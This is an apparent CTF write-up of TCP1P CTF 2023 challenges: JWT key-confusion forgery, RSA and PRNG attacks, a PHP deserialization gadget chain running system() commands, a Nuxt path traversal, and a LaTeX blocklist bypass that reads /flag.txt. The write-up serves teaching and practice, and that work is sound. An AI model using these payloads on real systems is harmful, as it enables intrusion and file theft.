Berlian Gabriel

TCP1P CTF 2023

It was an exhilarating experience to compete in TCP1P CTF as team Fidethus, with Chovid99 and Djavaa. Despite narrowly missing out on the Top 3, securing a 4th place finish was a tremendous honor, especially considering we were a three-member team competing against teams with many more members. Below is the write-up for some of the challenges that we solved.

Cryptography

Jack’s Worst Trials

(7 Solves, 464 Points)

From the source code, it can be seen that the jwt.decode() does not enforce the algorithm. This indicates that we might be able to forge a JWT and sign it with the public key, using the HS256 algorithm. The problem is, the part of the code that fetches the website’s public key has been commented out. This means we have to find another way to retrieve the public key.

It turns out that the website is vulnerable to CVE-2017-11424. This enables symmetric/asymmetric key confusion attacks against users using the PKCS1 PEM encoded public keys, which would allow attackers to craft JWTs from scratch.

Using this tool, (silentsignal/rsa_sign2n: Deriving RSA public keys from message-signature pairs (github.com)), we can calculate the public key based on 2 JWTs obtained from logging in to the website twice. To avoid dependencies issue, we will run this tool in docker, from the standalone folder.

Before building the docker, modify the jwt_forgery.py by adding this on line 41     payload['admin'] = True so that we can directly use the printed jwt to login and get the flag

└─$ sudo docker build . -t sig2n

└─$ sudo docker run -it sig2n /bin/bash
root@c2ab8f6e13b0:/app# python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJwdWJsaWNfaWQiOiI5NDcyNjBmMy01YWI4LTQ2ZDItYmIwNC1mN2U2OTc3NmIxMTYiLCJuYW1lIjoiMiIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjk3NzM1NDY4fQ.Ka5MmMgtxoXlyENmLywLpcJR04r2Q_WqO78Jy9HmLyBs3DldcUrdvws9GMal8CRTQx0pKN25nwZ1cxz-o0E6tyNn8cbVVV0jwBDrz-soCplDpIAf6YzWMgIGdwnfhGZ1SWrUZn_fP4B6aBavOJO6pDK0oMLHKDlYq1spEjiZ9EQ eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJwdWJsaWNfaWQiOiI5NDcyNjBmMy01YWI4LTQ2ZDItYmIwNC1mN2U2OTc3NmIxMTYiLCJuYW1lIjoiMiIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjk3NzM1NDc2fQ.aH-p_7RbNAt9dT_nSlX1i0PNlebdNKqfaqFZhgL9ADRe71USYQnQgFYqlNznchXpgaza3MrGVwVP5b73aHFb_EXPaRKkfhPv8dW9VKjggnNtvSyRmUHoTvXrP7SDMOqgh27MTP6kUOsvZh1E0YTnlaTxe3QLRFBDjDgGywCyasc
[*] GCD:  0x1
[*] GCD:  0xac093f13ecc248298f46e6c16267db10fd6a955282165b665a1bbea1dc831651cf3a76eddb72e1ffca011a4664fc8956f9cd592e2c6dec0fb656bb5af4a9c00d3f6bd1e0a116fc1835450fa890d1f48653b18d005d33616e8da4246c98da98ce76d44090ab16c5de9e972cbb84e258b2dfbba47cb09667f31b7195d68887bccf
[+] Found n with multiplier 1  :
 0xac093f13ecc248298f46e6c16267db10fd6a955282165b665a1bbea1dc831651cf3a76eddb72e1ffca011a4664fc8956f9cd592e2c6dec0fb656bb5af4a9c00d3f6bd1e0a116fc1835450fa890d1f48653b18d005d33616e8da4246c98da98ce76d44090ab16c5de9e972cbb84e258b2dfbba47cb09667f31b7195d68887bccf
[+] Written to ac093f13ecc24829_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwdWJsaWNfaWQiOiAiOTQ3MjYwZjMtNWFiOC00NmQyLWJiMDQtZjdlNjk3NzZiMTE2IiwgIm5hbWUiOiAiMiIsICJhZG1pbiI6IHRydWUsICJleHAiOiAxNjk3ODIxNjAwfQ.5hogYpjETLomsy6KuesaVoPAJ8NLOxhJIIOyX4xaqm0'
[+] Written to ac093f13ecc24829_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwdWJsaWNfaWQiOiAiOTQ3MjYwZjMtNWFiOC00NmQyLWJiMDQtZjdlNjk3NzZiMTE2IiwgIm5hbWUiOiAiMiIsICJhZG1pbiI6IHRydWUsICJleHAiOiAxNjk3ODIxNjAwfQ.1Y6oTMLKduPVd-ywj4OIzBaJ_3roybXTImqXgCoXfaM'
================================================================================
Here are your JWT's once again for your copypasting pleasure
================================================================================
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwdWJsaWNfaWQiOiAiOTQ3MjYwZjMtNWFiOC00NmQyLWJiMDQtZjdlNjk3NzZiMTE2IiwgIm5hbWUiOiAiMiIsICJhZG1pbiI6IHRydWUsICJleHAiOiAxNjk3ODIxNjAwfQ.5hogYpjETLomsy6KuesaVoPAJ8NLOxhJIIOyX4xaqm0
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwdWJsaWNfaWQiOiAiOTQ3MjYwZjMtNWFiOC00NmQyLWJiMDQtZjdlNjk3NzZiMTE2IiwgIm5hbWUiOiAiMiIsICJhZG1pbiI6IHRydWUsICJleHAiOiAxNjk3ODIxNjAwfQ.1Y6oTMLKduPVd-ywj4OIzBaJ_3roybXTImqXgCoXfaM

Use the tampered jwt signed with PKCS1

FLAG: TCP1P{im_only_human_after_all_dont_put_your_blame_on_me}

Cherry Leak

(28 Solves, 100 Points)

Do the following to get leaks

nc ctf.tcp1p.com 13339
1. Get new prime
2. Get leak
3. Get flag
4. Exit
> 2
choose leak p ? q (+-*/%)
> -
p - q = 178833035477634337098787980370911105254629893438692684220652066155514034693363610427233533587851396508440895819438762025942463830764491299098061633609825779423798024198412008546459077519636702075113034468959303246210233949573558799895557880713333389929206370913498006367650619333909993622659004082831927619986
1. Get new prime
2. Get leak
3. Get flag
4. Exit
> 2
choose leak p ? q (+-*/%)
> %
p % q = 506579932144242488510267028157572488601778337363320115090503621878348979844649750150976952703643698993207121045384610633249467380657658156129139926100030
1. Get new prime
2. Get leak
3. Get flag
4. Exit
> 1
which prime? (p/q)
> p
1. Get new prime
2. Get leak
3. Get flag
4. Exit
> 2
choose leak p ? q (+-*/%)
> -
p - q = 103816887630328490784464141363658470265330354427339999561411312301425538008944161756656842333478007179306724812312194271263713340527164930575110028913623584877345404169453541385820262636418407132812202271626152087313626734095261935604346659537783191331265054464787402158478966765513751606342951875834708272118
1. Get new prime
2. Get leak
3. Get flag
4. Exit
> 2
choose leak p ? q (+-*/%)
> %
p % q = 6046091823226464360662564452266498129048036885442934910483196208517731538612616575944306151891309608408464264521692958315237194591593475182223931830482049
1. Get new prime
2. Get leak
3. Get flag
4. Exit
> 3
c = 494329538289477713121915764883888339697884802592994711222985484899442960724543539923102765594529982984561135871757747223513659422455404597288575930312382081435298705504094376003451963797425612710888134817162056161732689106617516869903658006724890304817654659507418014204730207057548511433724145438883975967577431339890541845973931538987021231756464267276947180674222187112996668481587264015823583240542021338267682243995711922518314203414008226461521497119910584

With a bit of math, we can obtain:

s1 = p-q1 = 178833035477634337098787980370911105254629893438692684220652066155514034693363610427233533587851396508440895819438762025942463830764491299098061633609825779423798024198412008546459077519636702075113034468959303246210233949573558799895557880713333389929206370913498006367650619333909993622659004082831927619986

t1 = p%q1 = 506579932144242488510267028157572488601778337363320115090503621878348979844649750150976952703643698993207121045384610633249467380657658156129139926100030

s2 = p-q2 = 103816887630328490784464141363658470265330354427339999561411312301425538008944161756656842333478007179306724812312194271263713340527164930575110028913623584877345404169453541385820262636418407132812202271626152087313626734095261935604346659537783191331265054464787402158478966765513751606342951875834708272118

t2 = p%q2 = 6046091823226464360662564452266498129048036885442934910483196208517731538612616575944306151891309608408464264521692958315237194591593475182223931830482049

c = 494329538289477713121915764883888339697884802592994711222985484899442960724543539923102765594529982984561135871757747223513659422455404597288575930312382081435298705504094376003451963797425612710888134817162056161732689106617516869903658006724890304817654659507418014204730207057548511433724145438883975967577431339890541845973931538987021231756464267276947180674222187112996668481587264015823583240542021338267682243995711922518314203414008226461521497119910584

p1 = s1 + q
p1 = k1*q + t1
k1*q + t1 = s1 + q
(k1 - 1)*q = s1 - t1

p2 = s2 + q
p2 = k2*q + t2
k2*q + t2 = s2 + q
(k2 - 1)*q = s2 - t2

since q is prime, we can obtain K*q from gcd((k1 - 1)*q, (k2 - 1)*q) = gcd(s1-t1, s2-t2). We can then factorize K*q to get the prime q

We can then quickly solve this calculation using sage

sage: ecm.factor(gcd(s1-t1,s2-t2))
[3,
 10854393443988059968673350220604514443995514587151779202006695752710306191576456930155256281977692624907459497238681266212611293651481305920079548632278681]
sage: q = 108543934439880599686733502206045144439955145871517792020066957527103061915764569301552562819776926249074594972386812662126
....: 11293651481305920079548632278681
sage: p = s2 + q
sage: e = 65537
sage: d = e.inverse_mod((p-1)*(q-1))
sage: m = pow(c,d,p*q)
sage: from Crypto.Util.number import long_to_bytes
sage: long_to_bytes(int(m))
b"TCP1P{in_life's_abundance_a_fragment_suffices}"

FLAG: TCP1P{in_life's_abundance_a_fragment_suffices}

Spider Shambles

(31 Solves, 100 Points)

The method random.getrandbits() is not cryptographically secure. We can use randcrack (https://github.com/tna0y/Python-random-module-cracker) to predict the the next pseudorandom number.

Notice that the flago.jpg is XOR-ed with a random key, and we are given the output of the XOR operation in the downloaded file babababububu. Commutative properties of XOR: if A XOR B = C then B XOR C = A Hence, if we can predict the random key used for the XOR operation, by XOR-ing this predicted key against the downloaded file babababububu, we can obtain flago.jpg.

Also, notice that when we upload a file, our file will get XOR-ed with an unknown key, and we can get our hands on the XOR result in the form of the downloaded file lalalalululu. Identity properties of XOR: if A XOR 0 = A Hence, we can upload file containing null bytes, which when XOR-ed against the random key, will result in the key itself. This means, the downloded file lalalalululu will contain the random key itself. The set of random keys that we obtain here can be used to model the state of the PRNG by feeding it to randcrack, which will then predict the random key used to XOR the flago.jpg

Below is the script that will:

  1. Send 624 POST request containing null bytes to get 624 inputs for randcrack
  2. Compare whether the 625th random key matches the predicted key
  3. Predict a key of the length 386035 bytes
  4. XOR the predicted key against babababububu to get flago.jpg

Note that it might take a while to run the script due to the calculation of randcrack for large result (~15 minutes)

import requests
from randcrack import RandCrack
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
import io

# Base URL of the server
BASE_URL = "http://ctf.tcp1p.com:54734/"

# Create a session to persist cookies and other session-based info
session = requests.Session()

def upload_zero_file():
    # Create a 4-byte file containing only zero bytes
    zero_file = io.BytesIO(b'\x00\x00\x00\x00')
    
    # POST request to the server
    response = session.post(
        BASE_URL,
        files={"file": ("zero.txt", zero_file)}
    )
    
    # Return the content of the response, which should be the encrypted file data
    return response.content

rc = RandCrack()

# List to collect the downloaded data
downloaded_data_list = []

# Send 625 POST requests and collect the data
for _ in range(625):
    downloaded_data_list.append(upload_zero_file())

# Get the content from /flago
response = session.get(BASE_URL + "flago")
with open("flago_encrypted_content", "wb") as file:
    file.write(response.content)

# Submit the first 624 downloaded data to RandCrack
for data in downloaded_data_list[:-1]:
    number = b2l(data)
    rc.submit(number)

# Convert the 625th downloaded data to a number and print it
final_number = b2l(downloaded_data_list[-1])
print("625th POST request number:", final_number)

# Predict the next random number using RandCrack
predicted_number = rc.predict_getrandbits(32)
print("Predicted random number:", predicted_number)

# XOR and encryption functions
def xor(a, b):
    return b''.join([bytes([_a ^ _b]) for _a, _b in zip(a, b)])

def encropt(buff):
    rand = rc.predict_getrandbits(len(buff)*8)
    return xor(buff, l2b(rand))

# Read the content of the file 'flago_encrypted_content'
with open("flago_encrypted_content", "rb") as file:
    content = file.read()

# Decrypt the content and print the XOR output
decrypted_content = encropt(content)

with open("flago.jpg", "wb") as file:
    file.write(decrypted_content)

FLAG: TCP1P{life's_twisted_like_a_back_road_in_the_country}

Final Consensus

(56 Solves, 100 Points)

This challenge can be solved using the “Meet in the Middle” (MitM) attack, which is a cryptographic attack that works on double encryption schemes. Given a plaintext and its double encryption, the attacker first encrypts the plaintext with every possible key and stores the result. Then, for every possible key, the attacker decrypts the ciphertext. If a decrypted ciphertext matches an encrypted plaintext, the attacker has found a pair of keys that could have been used for the double encryption.

Below is the script to solve the challenge

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

flag_enc_enc = bytes.fromhex(input("Alice's flag>> "))

# The known ciphertext - plaintext pair
plaintext = input("Steve's plain>> ")
ciphertext = bytes.fromhex(input("Steve's cipher>> "))

# All possible keys
keys = [(str(i).zfill(6)*4)[:16].encode() for i in range(1000000)]

# Encrypt the plaintext with all possible keys for 'a'
enc_mapping = {}
for key in keys:
    cipher = AES.new(key, mode=AES.MODE_ECB)
    ct = cipher.encrypt(pad(plaintext.encode(), 16))
    enc_mapping[ct] = key

# Decrypt the ciphertext with all possible keys for 'b' and look for a match
for key in keys:
    cipher = AES.new(key, mode=AES.MODE_ECB)
    decrypted = cipher.decrypt(ciphertext)
    if decrypted in enc_mapping:
        a = enc_mapping[decrypted]
        b = key
        print(f"Found keys: a = {a}, b = {b}")
        break

# Double Decrypt flag
cipher = AES.new(b, mode=AES.MODE_ECB)
flag_enc = cipher.decrypt(flag_enc_enc)
cipher = AES.new(a, mode=AES.MODE_ECB)
flag = cipher.decrypt(flag_enc)
flag = unpad(cipher.decrypt(flag_enc), 16)  # Added unpad to get proper plaintext
print(flag.decode())
$ nc ctf.tcp1p.com 35257
Alice: My message 706ea4db75b90c37fdd6587ffd1a19f5837e5e2b5553048a76447e55b0dcc4be83e7fdb59df5c0b4cd9c176aaa9b8654ee18cfed4755d7f2f95f558c1728d429df9fcf671d218330ac138d7b2074e8f5
Alice: Now give me yours!
>> thanks
Steve:  594253657cdf5462675ad58c06b987bd
Alice: Agree.

$ python3 mitm.py
Alice's flag>> 706ea4db75b90c37fdd6587ffd1a19f5837e5e2b5553048a76447e55b0dcc4be83e7fdb59df5c0b4cd9c176aaa9b8654ee18cfed4755d7f2f95f558c1728d429df9fcf671d218330ac138d7b2074e8f5
Steve's plain>> thanks
Steve's cipher>> 594253657cdf5462675ad58c06b987bd
Found keys: a = b'4231464231464231', b = b'1843881843881843'
TCP1P{nothing_ever_lasts_forever_everybody_wants_to_rule_the_world}

FLAG: TCP1P{nothing_ever_lasts_forever_everybody_wants_to_rule_the_world}

One Pad Time

(67 Solves, 100 Points)

Since the length of the key is 16 bytes, the key can only be retrieved if we XOR the last 16 bytes of the ct in output.txt against a 16-bytes pad. So, let us assume that the original ct (before XOR) was 256 bytes, and the pad is 16 bytes. Thr pad method follows the PKCS#7 padding scheme, which fills up the remaining block space with bytes that are equal to the number of padding bytes. By reversing the XOR and AES encryption, we can retrieve the flag.

In [5]: from pwn import xor

In [6]: pad=b'\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'

In [7]: ct = b'h\x08\xafmDV\xaa\xcd\xea\xe9C\xdd7/\x1fF\xe2?\xcb\xb0\x1d F\xcc\xe5\xa6\x9dTJ\\\xd1\x90\xac\xe0\x1c\x891}\x83*\x86\xee\xc4~\xa0\x18\xa8\x06\xea"{|\x0b\x92[\x9a[\x91\xc8\x19\xb7FK\x01\xb5\xf98\x80\x9bR)2\x84`\xb3E\t\xd5\xe5\xf0[\x83\xc6\x19\x82\r\x7f\xfaGF\xdb\xcb\xab\xd5~\x95\t\xdd\xb5E>F\xdd\xa9\xa6\x82\x86\xee"\x99\xd9\xcc\xaf\xce\xf0\'\xb3\xf4~\xcf\xdb\xc8\xbd3\x01\xd0,}]\xd5V\xd3?\xb0\xe7\xb4[4\x8a\xa2[\xa1TV\xd16\x1f\xbd"\xc8\xa2\\K\x16I%\xdaL\xc6\xfb\xb7f.\x98\xc3\xf4J\x1b\xe9TT\x83-\x98BO\xb4\x00~\xb5w\xcf7m\xa1\xea\xa9\xf6\xa6\xee\x00Y\xdfE\x9c7\xe3\xa3\xa2\x1f=.\x85\x08l\xacN\xfb2\x89\x8bB\x7f\x94\x91p\x10ep\x9b\x06oz\x87&U]J\x019\x12W\xce<\xc8\xa8\xb4v\xaf,\xb1n\x8b\xf5\xfe\xf8\r\xa7:r\xe8\xe0fvKN\\\xea\xe0\xa1\xe3\x99\xcc\xfd\x1a\x99Q\x90\xdf}\xae\xad'

In [8]: key=xor(ct[256:],pad)

In [9]: ct_padded=xor(ct,key)

In [10]: iv = b'\xf5\x8e\x85ye\xc8j(%\xc4K\xc1g#\x86\x1a'

In [11]: from Crypto.Cipher import AES

In [12]: cipher = AES.new(key, AES.MODE_CBC, iv)

In [13]: cipher.decrypt(ct_padded)
Out[13]: b'TCP1P{why_did_the_chicken_cross_the_road?To_ponder_the_meaning_of_life_on_the_other_side_only_to_realize_that_the_road_itself_was_an_arbitrary_construct_with_no_inherent_purpose_and_that_true_enlightenment_could_only_be_found_within_its_own_existence_1234}\xbau\xb9\x0cV\xc4R\x95O\r\x85\x18\tH#F'

FLAG: TCP1P{why_did_the_chicken_cross_the_road?To_ponder_the_meaning_of_life_on_the_other_side_only_to_realize_that_the_road_itself_was_an_arbitrary_construct_with_no_inherent_purpose_and_that_true_enlightenment_could_only_be_found_within_its_own_existence_1234}

Web

Un Secure

(68 Solves, 100 Points)

From reading the source code, there are some key observations:

  1. index.php is vulnerable to object deserialization since it uses unserialize() on user-controlled input (in this case, a cookie).
  2. Composer’s autoloader (vendor/autoload.php) is included, so the classes in the given directories can be loaded automatically upon deserialization.
  3. The GadgetThree\Vuln class has a __toString magic method which contains an eval() function, meaning any serialized instance of this class will execute code when cast to a string.
  4. The class checks for three conditions before the eval() function gets called:
    • $this->waf1 must be 1
    • $this->waf2 must be "\xde\xad\xbe\xef"
    • $this->waf3 must be false
  5. The GadgetTwo\Echoers class has a __destruct magic method which will echo (and therefore evaluate the __toString method of) any class instance stored in the $klass property.

Steps to read the flag:

  1. Destructors:
    • If a class has a __destruct method, it is automatically called when an object of that class goes out of scope or when the script execution ends.
    • In this case, the __destruct method of GadgetTwo\Echoers will execute when deserialization is complete (or when the script ends).
    • This destructor (GadgetTwo\Echoers::__destruct) will call the get_x() method on the object stored in its $klass property. In our payload, this object is an instance of GadgetOne\Adders.
  2. Chaining Gadgets:
    • When GadgetTwo\Echoers::__destruct calls GadgetOne\Adders::get_x(), it returns the object stored in its $x property. This is the GadgetThree\Vuln object.
    • Now, the magic happens: PHP tries to echo (or print) an object. When you try to echo an object, PHP looks for a __toString method in that object’s class and calls it. In our payload, the object being echoed is GadgetThree\Vuln, which has the __toString method.
  3. RCE Execution:
    • The __toString method of GadgetThree\Vuln has a series of checks for the waf1, waf2, and waf3 properties. If they all pass (and in our payload, they do), it proceeds to the eval($this->cmd) line.
    • eval() is a dangerous function that takes a string as an argument and runs it as PHP code. The cmd property of our GadgetThree\Vuln object contains the malicious command to be executed, achieving RCE.

Crafting Payload:

  • You start with GadgetThree\Vuln and set its properties (waf1, waf2, waf3, and cmd). Among these, cmd is the command you intend to execute.
  • Then you wrap this object within the $x property of GadgetOne\Adders.
  • Finally, this GadgetOne\Adders object (which now contains GadgetThree\Vuln) is wrapped within the $klass property of GadgetTwo\Echoers.
b'O:17:"GadgetTwo\\Echoers":1:{s:5:"klass";O:16:"GadgetOne\\Adders":1:{s:1:"x";O:16:"GadgetThree\\Vuln":4:{s:4:"waf1";i:1;s:7:"\x00*\x00waf2";s:4:"\xde\xad\xbe\xef";s:10:"\x00Vuln\x00waf3";b:0;s:3:"cmd";s:13:"system(\'ls\');";}}}'

Here is breakdown of the cookie payload before we encode it to base64:

  1. Objects: - Format: O:size:"classname":property_count:{serialized_properties} - Example: O:17:"GadgetTwo\\Echoers":1:{...} - O denotes an object. - 17 is the size of the class name. - "GadgetTwo\\Echoers" is the class name (with namespace). Note the double backslashes, which is an escape sequence for a single backslash in serialized strings. - 1 is the property count of this object.
  2. Strings:
    • Format: s:size:"string"
    • Example: s:5:"klass"
    • s denotes a string.
    • 5 is the size of the string.
    • "klass" is the actual string.
  3. Integers:
    • Format: i:value
    • Example: i:1
    • i denotes an integer.
    • 1 is the integer value.
  4. Booleans:
    • Format: b:value
    • Example: b:0
    • b denotes a boolean.
    • 0 is false (while 1 would be true).
  5. Private/Protected properties:
    • Private and protected properties are serialized with a NULL byte prefix and/or a star (*). Specifically:
      • Private properties: \x00classname\x00propertyname
      • Protected properties: \x00*\x00propertyname

From this information, we can craft a new cookie to read the random filename of the flag, an decode it to base64

b'O:17:"GadgetTwo\\Echoers":1:{s:5:"klass";O:16:"GadgetOne\\Adders":1:{s:1:"x";O:16:"GadgetThree\\Vuln":4:{s:4:"waf1";i:1;s:7:"\x00*\x00waf2";s:4:"\xde\xad\xbe\xef";s:10:"\x00Vuln\x00waf3";b:0;s:3:"cmd";s:65:"var_dump(system(\'cat 182939124819238912571292389218129123.txt\'));";}}}'

FLAG: TCP1P{unserialize in php go brrrrrrrr ouch}

A Simple Web

(122 Solves, 100 Points)

Notice this part inside the Dockerfile


...

# Clone the Nuxt.js repository and switch to the desired release
RUN git clone https://github.com/nuxt/framework.git /app && \
    cd /app && \
    git checkout v3.0.0-rc.12

...

# Start the Nuxt.js development server
CMD ["pnpm", "run", "dev", "--host", "0.0.0.0"]

Nuxt.js version <= rc12 is vulnerable to dev mode path traversal. This vulnerability permits arbitrary file reads while the dev server is running. This can provide a wide range of sensitive information on the target server depending on configuration. The root cause is due to Vite configuration has strict set to false. Dev mode Path traversal vulnerability found in framework (huntr.com)

The path traversal can be exploited as follow: /_nuxt/@fs/flag.txt

Flag: TCP1P{OuTD4t3d_NuxxT_fR4m3w0RkK}

Latex

(Solved after competition has ended, 38 Solves, 100 Points)

Notice this part of main.go which contains blacklisted strings

var (
	//go:embed static/*
	static    embed.FS
	blacklist = []string{"\\input", "include", "newread", "openin", "file", "read", "closein",
		"usepackage", "fileline", "verbatiminput", "url", "href", "text", "write",
		"newwrite", "outfile", "closeout", "immediate", "|", "write18", "includegraphics",
		"openout", "newcommand", "expandafter", "csname", "endcsname", "^^"}
)

We can bypass the blacklist using the \catcode command. which will change the category code (often referred to as “catcode”) of a character. Every character in LaTeX has a category code that dictates its behavior.

\documentclass[12pt]{article}
\begin{document}
\catcode`\@=0 
\catcode`\_=13
@input{/flag.txt}
\end{document}

The payload above will do the following:

  1. Changes the category code of @ to 0, making it equivalent to a backslash \ (escape character).
  2. Changes the category code of _ to 13, making it an active character (like a macro). This is needed because the output of reading the flag.txt will contain _ , which will cause LaTex error if its default behavior is not changed.
  3. Tries to input the file /flag.txt into the document, using @input instead of the typical \input.

Note that { and } were not printed because they have special significance for grouping and scoping in LaTex.

FLAG: TCP1P{bypassing latex waf require some latex knowledge}

Forensic

brokenimg

(57 Solves, 100 Points)

└─$ exiftool chall.pdf
ExifTool Version Number         : 12.65
File Name                       : chall.pdf
Directory                       : .
File Size                       : 42 kB
File Modification Date/Time     : 2023:10:14 14:37:28+07:00
File Access Date/Time           : 2023:10:21 01:26:36+07:00
File Inode Change Date/Time     : 2023:10:14 14:45:16+07:00
File Permissions                : -rwxrwxrwx
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
XMP Toolkit                     : Image::ExifTool 12.65
Artist                          : Maybe here : 150 164 164 160 163 72 57 57 146 151 154 145 163 56 144 157 170 142 151 156 56 147 147 57 157 63 126 144 162 115 160 164 56 160 156 147

We can identify the cipher in the Artist field using the cipher identifier from Decrypt a Message - Cipher Identifier - Online Code Recognizer (dcode.fr) It turns out to be the Octal representation of ASCII. The resulting URL, when visited gave us a shifted image. https://files.doxbin.gg/o3VdrMpt.png

The following code will unshift the image to its original state:

from PIL import Image
import numpy as np

def unshift_row(row, shift, width):
    """
    Unshift a given row by the specified number of pixels.
    """
    left = row[:width - shift]
    right = row[width - shift:]
    return right + left

def unshift_image(image):
    """
    Unshift the rows of the given image.
    """
    pixels = list(image.getdata())
    w, h = image.size
    
    # Convert the 1D pixel data to 2D
    pixels_2d = [pixels[i * w : (i + 1) * w] for i in range(h)]
    
    shift = 0
    result = []
    for row in pixels_2d:
        new_row = unshift_row(row, shift, w)
        result.append(new_row)
        
        # Increase shift and wrap around row length
        shift = (shift + 3) % w
        
    return np.array(result, dtype=np.uint8)

def main(input_image_path, output_image_path):
    image = Image.open(input_image_path)
    array = unshift_image(image)
    new_image = Image.fromarray(array)
    new_image.save(output_image_path)

if __name__ == "__main__":
    main('o3VdrMpt.png', 'unshifted.png')

unshifted.png

The presence of ====== indicates that it might be base32-encoded text. After appending the two texts, base32 decoding, and then base64 decoding it, we get our flag.

In [21]: b32decode("KZCU4UKNKZBDOY2HKJWVQMTHGBSGUTTGJZDDSUKNK5HDAZCYJF5FQMSKONSFQSTGJZDTK22YPJLG6TKXLIYGMULPHU======")
Out[21]: b'VENQMVB7cGRmX2g0djNfNF9QMWN0dXIzX2JsdXJfNG5kXzVoMWZ0fQo='

In [22]: b64decode("VENQMVB7cGRmX2g0djNfNF9QMWN0dXIzX2JsdXJfNG5kXzVoMWZ0fQo=")
Out[22]: b'TCP1P{pdf_h4v3_4_P1ctur3_blur_4nd_5h1ft}\n'

FLAG: TCP1P{pdf_h4v3_4_P1ctur3_blur_4nd_5h1ft}

hide and split

(128 Solves, 100 Points)

Opening challenge.ntfs using Autopsy, we can see that the flag has been split into several parts.

If we look closely at flag00.txt:flag0, the Extracted Text indicates that it is the Magic Byte of PNG file. 89504e470d0a1a0a0000000d49484452000003390000033908000000000179a0c500000e684

Looking at the Extracted Text of MFT, we can extract the hexstrings from each flag partitions, concatenate them, and potentially convert them to a PNG file that contains the flag.

After copy-pasting the content of Extracted Text from $MFT to ntfs.txt, using this code, we can extract only the hexstrings and convert it to ntfs.png

import re

# Read the text file
with open('ntfs.txt', 'r') as f:
    content = f.read()

# Extract hexadecimal strings based on the provided pattern
hex_strings = re.findall(r'flag\d+\n\t([a-f0-9]+)', content, re.IGNORECASE)

# Concatenate all the extracted hex strings
concatenated_hex = ''.join(hex_strings)

# Convert the concatenated hex string into bytes
byte_data = bytes.fromhex(concatenated_hex)

# Write the bytes to an output file
with open('ntfs.png ', 'wb') as f:
    f.write(byte_data)

print("Done!")

ntfs.png After the QR code is scanned, the flag is obtained.

FLAG: TCP1P{hidden_flag_in_the_extended_attributes_fea73c5920aa8f1c}

Ez PDF

(137 Solves, 100 Points)

└─$ exiftool TCP1P-CTF.pdf
ExifTool Version Number         : 12.65
File Name                       : TCP1P-CTF.pdf
Directory                       : .
File Size                       : 81 kB
File Modification Date/Time     : 2023:10:14 11:58:12+07:00
File Access Date/Time           : 2023:10:21 03:00:10+07:00
File Inode Change Date/Time     : 2023:10:21 02:59:44+07:00
File Permissions                : -rwxrwxrwx
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.3
Linearized                      : No
Has XFA                         : No
Page Count                      : 1
XMP Toolkit                     : Image::ExifTool 12.40
Creator                         : SW4gdGhpcyBxdWVzdGlvbiwgdGhlIGZsYWcgaGFzIGJlZW4gZGl2aWRlZCBpbnRvIDMgcGFydHMuIFlvdSBoYXZlIGZvdW5kIHRoZSBmaXJzdCBwYXJ0IG9mIHRoZSBmbGFnISEgVENQMVB7RDAxbjlfRjAyM241MUM1

1st part of the flag

In [23]: b64decode("SW4gdGhpcyBxdWVzdGlvbiwgdGhlIGZsYWcgaGFzIGJlZW4gZGl2aWRlZCBpbnRvIDMgcGFydHMuIFlvdSBoYXZlIGZvdW5kIHRoZSBmaXJzdCBw
    ...: YXJ0IG9mIHRoZSBmbGFnISEgVENQMVB7RDAxbjlfRjAyM241MUM1")
Out[23]: b'In this question, the flag has been divided into 3 parts. You have found the first part of the flag!! TCP1P{D01n9_F023n51C5'

3rd part of the flag

└─$ pdf-parser TCP1P-CTF.pdf

...

obj 4 0
 Type: /Action
 Referencing:

  <<
    /Type /Action
    /S /JavaScript
    /JS "(var whutisthis = 1; if (whutisthis === 1) { this.print({bUI:true,bSilent:false,bShrinkToFit:true}); } else { function _0x510a(_0x4c8c49,_0x29ea76){var _0x5934bd=_0x5934();return _0x510a=function(_0x510a0b,_0x1b87bb){_0x510a0b=_0x510a0b-0x174;var _0x6c8a33=_0x5934bd[_0x510a0b];return _0x6c8a33;},_0x510a(_0x4c8c49,_0x29ea76);}(function(_0x39f268,_0x3518a2){var _0x43b398=_0x510a,_0x1759ee=_0x39f268();while(!![]){try{var _0x14396e=-parseInt(_0x43b398(0x175))/0x1*(-parseInt(_0x43b398(0x177))/0x2)+parseInt(_0x43b398(0x17e))/0x3+-parseInt(_0x43b398(0x17b))/0x4*(parseInt(_0x43b398(0x179))/0x5)+parseInt(_0x43b398(0x183))/0x6*(parseInt(_0x43b398(0x180))/0x7)+parseInt(_0x43b398(0x17f))/0x8+-parseInt(_0x43b398(0x17d))/0x9*(-parseInt(_0x43b398(0x17a))/0xa)+parseInt(_0x43b398(0x178))/0xb*(-parseInt(_0x43b398(0x182))/0xc);if(_0x14396e===_0x3518a2)break;else _0x1759ee['push'](_0x1759ee['shift']());}catch(_0x21db70){_0x1759ee['push'](_0x1759ee['shift']());}}}(_0x5934,0x1d736));function pdf(){var _0xcd7ad1=_0x510a;a=_0xcd7ad1(0x181),b=_0xcd7ad1(0x176),c=_0xcd7ad1(0x174),console[_0xcd7ad1(0x17c)](a+c+b);}pdf();function _0x5934(){var _0x3c1521=['_15N7_17','60PQFHXK','125706IwDCOY','_l3jaf9c','1aRbLpO','i293m1d}','52262iffCez','211310EDRVNg','913730rOiDAg','10xwGGOy','4mNGkXM','log','747855AiEFNc','333153VXlPoX','1265584ccEDtU','7BgPRoR'];_0x5934=function(){return _0x3c1521;};return _0x5934();} })"
  >>

...

After changing var whutisthis = 1 to var whutisthis = 0, the JS code will print out the 3rd part of the flag when executed.

